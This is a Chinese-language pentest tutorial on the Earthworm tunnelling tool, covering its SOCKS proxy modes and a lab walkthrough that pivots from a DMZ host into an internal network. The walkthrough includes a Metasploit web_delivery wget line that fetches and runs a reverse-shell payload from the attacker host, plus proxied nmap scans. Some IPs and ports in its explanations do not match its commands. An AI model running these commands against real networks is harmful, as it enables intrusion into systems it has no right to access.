一、Earthworm简介
Earthworm(简称EW)是一款轻量便携且功能强大的网络穿透工具,基于标准C开发。它具有SOCKS v5服务架设和端口转发两大核心功能,可以在复杂网络环境下完成网络穿透。Earthworm能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处。该工具支持多平台间的转接通讯,包括Linux、Windows、MacOS、Arm-Linux等操作系统。
Earthworm 工具包中提供了多种可执行文件,以适应不同的操作系统。它支持全平台(Windows/Linux/Mac),且能够穿透复杂的内网环境,同时也不需要跳板机运行web服务。
Earthworm 有六种模式,分别是:ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran,这些模式分别对应不同的网络穿透场景和需求。
下载地址:https://github.com/idlefire/ew
主页地址:https://rootkiter.com/EarthWorm/
二、使用方法
2.1 普通网络环境
2.1.1 目标网络边界存在公网IP且可任意开监听端口
a)./ew -s ssocksd -l 8888 // 在 1.1.1.1 主机上通过这个命令开启 8888 端口的 socks 代理
b) HackTools 可通过访问 1.1.1.1:8888 端口使用 1.1.1.1 主机提供的代理
2.1.2 目标网络边界不存在公网 IP,需要通过反弹方式创建 socks 代理
a) ./ew -s rcsocks -l 1080 -e 8888
// 在 1.1.1.1 的公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机
b) ./ew -s rssocks -d 1.1.1.1 -e 8888
// 将目标网络的可控边界主机反向连接公网主机
c) HackTools 可通过访问 1.1.1.1:1080 端口使用 rssocks 主机提供的 socks5 代理服务
2.2 二重网络环境
2.2.1 情形1
获得目标网络内两台主机 A、B 的权限,情况描述如下:
- A 主机: 存在公网 IP,且自由监听任意端口,无法访问特定资源
- B 主机: 目标网络内部主机,可访问特定资源,但无法访问公网
- A 主机可直连 B 主机
a) ./ew -s ssocksd -l 9999
// 在 2.2.2.3 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理
b) ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
// 将 1080 端口收到的 socks 代理请求转交给 2.2.2.3 的主机。
c) HackTools 可通过访问 2.2.2.2:1080 来使用 2.2.2.3 主机提供的 socks5 代理。
2.2.2 情形2
获得目标网络内两台主机 A、B 的权限,情况描述如下:
A 主机: 目标网络的边界主机,无公网 IP,无法访问特定资源。
B 主机: 目标网络内部主机,可访问特定资源,却无法回连公网。
A 主机可直连 B 主机
a) ./ew -s lcx_listen -l 1080 -e 8888
// 在 1.1.1.1 公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机
b) ./ew -s ssocksd -l 9999
// 在 2.2.2.3 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理
c) ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
// 在 2.2.2.2 上,通过工具的 lcx_slave 方式,打通1.1.1.1:8888 和 2.2.2.3:9999 之间的通讯隧道
d) HackTools 可通过访问 1.1.1.1:1080 来使用 2.2.2.3 主机提供的 socks5 代理
2.3 参数说明
目前工具提供六种链路状态,可通过 -s 参数进行选定,分别为:
- ssocksd
- rcsocks
- rssocks
- lcx_slave
- lcx_tran
- lcx_listen
其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理。
其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。
lcx 类别管道:
- lcx_slave 该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。
- lcx_tran 该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。
- lcx_listen 该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。
通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。
下面是一个三级跳的本地测试例子:
./ew -s rcsocks -l 1080 -e 8888
./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
./ew -s lcx_listen -l 9999 -e 7777
./ew -s rssocks -d 127.0.0.1 -e 7777
数据流向为 IE -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks
2.4 rcsocks 和 rssocks的区别
rcsocks
是反向 socks 代理客户端模式。在这种模式下,客户端设置监听端口,将收到的代理请求转交给反连的被控服务器。例如,可以在代理客户端设置监听端口,将6666收到的代理请求转交给反连8888端口的被控服务器。rssocks
是反向 socks 代理服务端模式。在这种模式下,创建反向 socks 代理服务端,适用于目标机器没有公网 IP,但可访问内网资源的场景。它将本机的代理流量反向代理到指定的主机和端口,例如在被控主机2启动SOCKS v5代理服务端,并反弹到被控主机1的9999端口。
三、实战
在对某个三层网络环境的靶场进行渗透的过程中,当拿下DMZ区和二层网络各一台主机后,通过搭建隧道,建立攻击机对二层网络主机的访问通道。
网络环境大致如下:
【攻击机192.168.43.26】——>【DMZ 192.168.43.253|192.168.52.10)】——>【二层 192.168.52.20】
这里是在本机搭建的环境,在实际攻击场景中攻击机一般是互联网上一台拥有公网ip的VPS,DMZ对外的IP也是互联网IP。
需求:建立攻击机和二层主机的隧道,实现直接在攻击机中使用nmap对二层网络中的主机进行扫描。
- 攻击机:
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
命令详解:
-s rcsocks
:指定使用rcsocks
模式。rcsocks
模式是 Earthworm 的 SOCKS 代理模式,它创建一个 SOCKS 服务器,该服务器接收来自客户端的连接,并将这些连接转发到远程的 SOCKS 服务器。-l 1080
:指定本地监听端口为 1080。这意味着 Earthworm 将在本地计算机的 1080 端口上监听进来的 SOCKS 代理请求。-e 1234
:指定远程 SOCKS 服务器的端口为 1234。这意味着所有通过本地 SOCKS 服务器(监听在 1080 端口)的流量都将被转发到远程 SOCKS 服务器的 1234 端口。
- DMZ受控主机:
上传ew_for_linux64
由于已经获得了ssh root权限,所以这里可以直接用scp复制文件到目标系统中。
并执行如下命令:
./ew_for_linux64 -s rssocks -d 192.168.43.26 -e 1234
命令详解:
-s rssocks
:指定使用rssocks
模式。rssocks
模式用于创建一个 SOCKS 服务端,它将接收来自远程 SOCKS 客户端的连接,并将这些连接转发到本地的特定端口。-d 192.168.1.7
:指定目标主机的 IP 地址为192.168.1.7
。这意味着 Earthworm 将尝试连接到这个 IP 地址上的 SOCKS 客户端。-e 1234
:指定本地转发端口为 1234。这意味着所有通过远程 SOCKS 客户端的流量都将被转发到本地的 1234 端口。
- 设置proxychains
什么是proxychains
Proxychains 是一个非常有用的工具,它允许你通过一个或多个代理服务器来运行你的应用程序。它通过劫持应用程序的网络请求,并将这些请求通过配置的代理链发送出去,从而实现网络流量的代理。
ProxyChains是Linux和其他Unices下的代理工具。它可以使任何程序通过代理上网,允许TCP和DNS通过代理隧道,支持HTTP、SOCKS4和SOCKS5类型的代理服务器,并且可配置多个代理。
设置ProxyChains的具体操作步骤如下所示:
- 打开ProxyChains配置文件:
vim /etc/proxychains4.conf
- 添加代理服务器
在配置文件中,找到
[ProxyList]
部分,并添加你的代理服务器信息。以下是一些示例配置:SOCKS5 代理:
socks5 192.168.1.100 1080
HTTP 代理:
http 192.168.1.101 8080
SOCKS4 代理:
socks4 192.168.1.102 9050
你可以添加多个代理,Proxychains 会根据配置的规则使用这些代理。
- 配置代理链模式
在配置文件的顶部,你可以选择不同的代理链模式:
动态链 (
dynamic_chain
)**:Proxychains 将按顺序尝试每个代理,直到找到一个工作的代理。**严格链 (
strict_chain
)**:Proxychains 将按顺序尝试每个代理,如果一个代理失败,它将停止尝试。例如,要启用动态链模式,你可以在配置文件的顶部添加或确保以下行未被注释(即没有
#
在行首):dynamic_chain
- 保存并退出编辑器
保存更改并退出编辑器。如果你使用的是
nano
,可以按Ctrl + X
,然后按Y
确认保存更改,最后按Enter
保存文件。
- 使用 Proxychains
现在,你可以通过在命令前加上
proxychains
来使用 Proxychains。例如,使用proxychains
运行curl
命令:proxychains curl http://example.com
这将通过你配置的代理服务器发送请求。
修改后的配置:
之后便可以使用proxychains将我们攻击机上的程序代理进第二层网络(192.168.52.1/24)了。
比如用curl访问内网主机的web服务:
成功从kali访问到了内网主机的web服务。
正常情况下ping内网主机是无法ping通的,但是proxychains不支持icmp协议,所以也没法使用诸如proxychains4 ping 192.168.52.20的命令测试连通性。
- msf配置路由
使用 msf exploit/multi/script/web_delivery模块创建反弹shell的payload,投递到DMZ受控主机中。
use exploit/multi/script/web_delivery
set LPORT 5555
set LHOST 192.168.43.26
set payload linux/x64/meterpreter/reverse_tcp
set SRVPORT 9090
exploit
wget -qO xDfaOgFL --no-check-certificate http://192.168.43.26:9090/plurgt4DqlP; chmod +x xDfaOgFL; ./xDfaOgFL& disown
执行之后上线meterpreter:
设置路由:
通过添加路由可以将msfconsole路由到内网中。
我们尝试使用metasploit的 auxiliary/scanner/discovery/udp_probe 模块来扫描第二层网络中的主机存活:
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.52.1-255
set threads 5
run
成功探测到一台计算机:192.168.52.30.
使用proxychains代理攻击机的流量,实现对二层网络的探测:
proxychains4 nmap -Pn -sV -sT -F -O 192.168.52.30
大战Bug-「proxychains4 nmap 报错」
![]()
解决:
编辑 /etc/proxychains4.conf
注释掉dns解析代理
![]()
重新执行扫描
扫描结果:
至此,成功实现借助隧道使用kali的攻击工具探测二层网络内系统信息。
流量路径大致如下:
kali(nmap)192.168.43.26——>127.0.0.1:8080——>192.168.43.253:1234——>192.168.52.10——>192.168.52.30